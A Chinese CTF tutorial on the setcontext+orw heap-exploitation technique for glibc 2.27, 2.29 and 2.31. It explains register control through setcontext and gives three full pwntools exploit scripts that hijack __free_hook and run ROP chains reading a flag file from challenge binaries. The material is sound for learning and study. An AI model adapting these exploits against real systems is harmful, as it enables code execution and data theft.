setcontext+orw
作者：互联网
setcontext+orw 大致可以把2.27，2.29做为两个分界点。
我们先来讨论 2.27 及以下的 setcontext + orw 的写法。
首先 setcontext 是什么？了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下：
frame = SigreturnFrame() frame.rsp = xxx frame.rdi = xxx frame.rsi = xxx frame.rdx = xxx frame.rip = xxx
它实质上就是依靠 setcontext 来实现的，我们从 IDA 里看看它究竟啥样。
我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用，也就是 mov rsp, [rdi+0A0h] 那一行，在阅读其他师傅的文章后知道是因为上面的 fldenv byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是，mov rcx, [rdi+0A8h] 和 push rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器，因为不仅没给 rax 赋值还在最后有一个 xor eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中，然后建立或者释放一个堆块，此时的 rdi 就会是该堆块的 chunk 头，那如果我们提前布局好堆，就意味着我们可以控制寄存器并劫持程序的执行流。
大体上思路差不多是两种（此处仅讨论 orw），第一种是直接控制程序执行流去执行ROP链，另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。
拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')
def add(size):
s.sendlineafter(b'Your choice: ', b'1')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Size: ', str(size))
def edit(content):
s.sendlineafter(b'Your choice: ', b'2')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Content: ', content)
def show():
s.sendlineafter(b'Your choice: ', b'3')
s.sendlineafter(b'Index: ', b'0')
def delete():
s.sendlineafter(b'Your choice: ', b'4')
s.sendlineafter(b'Index: ',b'0')
for i in range(7):
add(0x78)
delete()
edit(b'a'*0x10)
delete()
show()
s.recvuntil(b'Content: ')
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base))
add(0x78)
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete()
show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
pop_rdi_ret = libc_base + 0x00000000000215bf
pop_rsi_r15_ret = libc_base + 0x00000000000215bd
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043ae8
syscall_ret = libc_base + libc.sym['read'] + 0xf
ret = libc_base + 0x00000000000008aa
__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
write_addr = libc_base + libc.sym['write']
flag_addr = heap_base + 0x1000
stack_addr_1 = heap_base + 0x2000
stack_addr_2 = heap_base + 0x20a0
orw_addr_1 = heap_base + 0x3000
orw_addr_2 = heap_base + 0x3060
orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(write_addr) #0xd0
payload = b'\x02'*0x40
payload+= p64(__free_hook) #0x20
payload+= p64(flag_addr) #0x30
payload+= p64(0) #0x40
payload+= p64(stack_addr_1) #0x50
payload+= p64(stack_addr_2) #0x60
payload+= p64(orw_addr_1) #0x70
payload+= p64(orw_addr_2) #0x80
edit(payload)
add(0x10)
edit(p64(setcontext_53))
add(0x20)
edit(b'./flag')
add(0x50)
edit(p64(orw_addr_1) + p64(ret))
add(0x60)
edit(orw[:0x60])
add(0x70)
edit(orw[0x60:])
add(0x40)
delete()
#gdb.attach(s)
s.interactive()
接下来我们来看 2.29 的 setcontext + orw ，2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx，这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以我们要用到一些 gadget 来把 rdi 和 rdx 转换一下。
在2.29里我认为这两个 gadget 比较好用，我先选择了下一个，如果我们把 __free_hook 改成了这个 magic_gadget，再去 free 一个我们布局好的堆块。这个堆块把 rdi+8 地址里的值改为我们布好偏移的堆块的地址，再把 rdi 的值改为 setcontext+53 的值。 free 这个堆块其实就是在把 rdi 设置好的情况下，去执行了 setcontext 来控制寄存器。
拿 2019-BALSN-CTF-plaintext 来加深 2.29 的setcontext + orw
有一个 2.29 的 off by null，在off by null 那一篇文章提到过。且这里为了好调试，我关闭了本地aslr。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
s = process('./plaintext')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
def add(size,content):
s.sendlineafter(b'Choice: ' , b'1')
s.sendlineafter(b'Size: ' , str(size))
s.sendafter(b'Content: ' , content)
def delete(index):
s.sendlineafter(b'Choice: ' , b'2')
s.sendlineafter(b'Idx: ' , str(index))
def show(index):
s.sendlineafter(b'Choice: ' , b'3')
s.sendlineafter(b'Idx: ' , str(index))
def clean():
for i in range(2):
add(0xe0 , b'a') # 0-1
for i in range(5):
add(0xc0 , b'a') # 2-6
for i in range(9):
add(0x70 , b'a') # 7-15
for i in range(16):
add(0x60 , b'a') # 16-31
for i in range(16):
add(0x10 , b'a') # 32-47
for i in range(8):
add(0x1000 , b'a') # 48-55
add(0xb70 ,b'a') # 56
clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00
for i in range(7):
add(0x28 , b't') # 57-63
add(0xb20 ,b'large') # 64
add(0x10 ,b'a') # 65
delete(64)
add(0x1000 ,b'a') # 64 make old chunk_64 to large bin
add(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66
# make fake_chunk's fd->bk = fake_chunk
add(0x28 ,b'a') # 67
add(0x28 ,b'a') # 68
add(0x28 ,b'a') # 69
add(0x28 ,b'a') # 70
for i in range(7):
delete(i+57) # full tcache
delete(69)
delete(67)
for i in range(7):
add(0x28 , b't') # 57-63
add(0x400 ,b'a') # 47 touch off malloc_consolidate()
add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk
# make fake_chunk's bk->fd = fake_chunk
add(0x28 ,b'clean') # 71 clean tcache
for i in range(7):
delete(i+57) # full tcache
delete(68)
delete(66)
for i in range(7):
add(0x28 , b't') # 57-63
add(0x28 ,p8(0x20)) # 66
# off by null
add(0x28 ,b'clean') # 68
add(0x28 ,b'a') # 72
add(0x5f8 ,b'a') # 73
add(0x100 ,b'a') # 74
delete(72)
add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72
delete(73)
# leak libc and heap addr
add(0x40 ,b'a') # 73
show(68)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
add(0x28 ,b'a') # 75 = 68
delete(57)
delete(68)
show(75)
heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10
success('heap_base_addr=>' + hex(heap_base_addr))
__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
magic_gadget = libc_base + 0x000000000012be97
'''
mov rdx, qword ptr [rdi + 8];
mov rax, qword ptr [rdi];
mov rdi, rdx;
jmp rax;
'''
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
ret_addr = libc_base + 0x000000000002535f
syscall_ret = libc_base + libc.sym['read'] + 0xf
# setcontext
add(0x28 ,b'a') # 57 = 75
add(0x28 ,b'a') # 68
delete(70)
add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70
add(0x28 ,b'a') # 76
add(0x28 ,p64(magic_gadget)) # 77
flag_addr = heap_base_addr + 0x60 + 0x10
fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0
orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50
bss_addr = libc_base + libc.bss()
add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78
add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79
orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)
add(0x100 ,orw) # 80
#gdb.attach(s)
delete(78)
s.interactive()
接下来就是 2.31 的 setcontext+orw
和之前版本的区别是setcontext 的位置变成了 setcontext+61
而且之前 2.29 发现的gadget只剩下一个了
我们把那个 plaintext 重新用2.31编译了一下，且没开沙盒这样就可以省去填充沙盒开辟出来的堆块的步骤了。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
s = process('./note1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,content):
s.recvuntil(b'Choice: ')
s.sendline(b'1')
s.recvuntil(b'size: ')
s.sendline(str(size))
s.recvuntil(b'content: ')
s.send(content)
def delete(index):
s.recvuntil(b'Choice: ')
s.sendline(b'2')
s.recvuntil(b'idx: ')
s.sendline(str(index))
def show(index):
s.recvuntil(b'Choice: ')
s.sendline(b'3')
s.recvuntil(b'idx: ')
s.sendline(str(index))
for i in range(6):
add(0x1000 ,b'a') # 0-5
add(0x1000 - 0x410 ,b'a') # 6
for i in range(7):
add(0x28 ,b't') # 7-13
add(0xb20 ,b'large') # 14 chunk head address is 0x......0040
add(0x10 ,b'a') # 15
delete(14)
add(0x1000 ,b'a') # 14
add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16
# make fake_chunk's fd->bk = fake_chunk
add(0x28 ,b'a') # 17
add(0x28 ,b'a') # 18
add(0x28 ,b'a') # 19
add(0x28 ,b'a') # 20
for i in range(7):
delete(i+7)
delete(19)
delete(17)
for i in range(7):
add(0x28 ,b't') # 7-13
add(0x400 ,b'a') # 17
add(0x28 ,p64(0) + p8(0x50)) # 19
# make fake_chunk's bk->fd = fake_chunk
add(0x28 ,b'a') # 21 clean tcache
for i in range(7):
delete(i+7)
delete(18)
delete(16)
for i in range(7):
add(0x28 ,b't') # 7-13
add(0x28 ,p8(0x50)) # 16
# off by null
add(0x28 ,b'a') # 18 clean fastbin
add(0x28 ,b'a') # 22
add(0x5f8 ,b'a') # 23
add(0x100 ,b'a') # 24
delete(22)
add(0x28 ,b'a'*0x20 + p64(0x520)) # 22
delete(23)
# leak libc and heap
add(0x18 ,b'a') # 23
show(19)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))
add(0x28 ,b'a') # 25
add(0x28 ,b'a') # 26=18
delete(20)
delete(18)
show(26)
heap = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap))
add(0x28 ,b'a') # 18=26
add(0x28 ,b'a') # 20
__free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x0000000000154930
bss_addr = libc_base + libc.bss()
pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c371
syscall_ret = libc_base + libc.sym['read'] + 0x10
ret_addr = libc_base + 0x0000000000025679
stack_addr = heap + 0x40
orw_addr = heap + 0x100
'''
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
'''
# attack
delete(18)
delete(20)
add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18
add(0x20 ,b'a') # 20
add(0x20 ,p64(magic_gadget)) # 27
add(0x10 , p64(0) + p64(stack_addr)) # 28
success(hex(stack_addr))
stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61)
stack+= b'\x00'*(0xa0-0x28)
stack+= p64(orw_addr) + p64(ret_addr)
add(0xb0 ,stack) # 29
orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)
add(0x100 ,orw) # 30
#gdb.attach(s)
delete(28)
s.interactive()
提取码：efi9
参考链接
https://blog.csdn.net/yongbaoii/article/details/119544590
https://blog.csdn.net/carol2358/article/details/107115485
https://blog.csdn.net/A951860555/article/details/118268484
https://blog.csdn.net/weixin_43960998/article/details/115838190
标签：p64,libc,orw,ret,add,base,setcontext 来源： https://www.cnblogs.com/pwnfeifei/p/15819825.html